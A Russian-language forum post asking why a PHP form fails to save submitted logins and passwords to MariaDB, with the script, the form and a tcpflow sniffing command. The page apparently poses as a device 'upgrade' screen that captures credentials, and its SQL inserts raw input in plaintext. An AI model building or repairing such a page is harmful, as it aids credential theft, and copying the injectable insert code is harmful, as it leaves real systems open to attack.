Может кто-нибудь помочь мне выяснить, почему все новые логины не записываются в БД?
У меня такая среда:
MariaDB:
MariaDB [(none)]> select * from db.table;
| id | password1 | password2 |
nginx с таким файлом dbconnect.php :
<?php
session_start();
ob_start();
$host="localhost";
$username="name";
$pass="password";
$dbname="db";
$tbl_name="table";
// Create connection
$conn = mysqli_connect($host, $username, $pass, $dbname);
// Check connection
if ($conn) {
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$sql = "INSERT INTO table (password1, password2) VALUES ('$password1', '$password2')";
if (mysqli_query($conn, $sql)) {
echo "New record created successfully";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
mysqli_close($conn);
}
sleep(2);
header("location:upgrading.html");
ob_end_flush();
?>
html page:
<form method="POST" action="dbconnect.php">
<label>login:</label>
<input class="form-control" type="password" name="password1" required="required">
<label>password:</label>
<input class="form-control" type="password" name="password2" required="required">
<input type="submit" value="Start Upgrade" class="btn btn-primart" />
</form>
Но после ввода данных в эти поля (пароль1 и пароль2) и отправки через WEB, БД не обновляется с ними, хотя я вижу введенные данные с помощью этой команды онлайн:
sudo tcpflow -i any -C -g port 80 | grep -i "password1="
Но после ввода учетных данных в WebForm я получаю 405 method not allowed
. Возможно, есть причина, по которой данные не записываются в БД. Пытаюсь это исправить.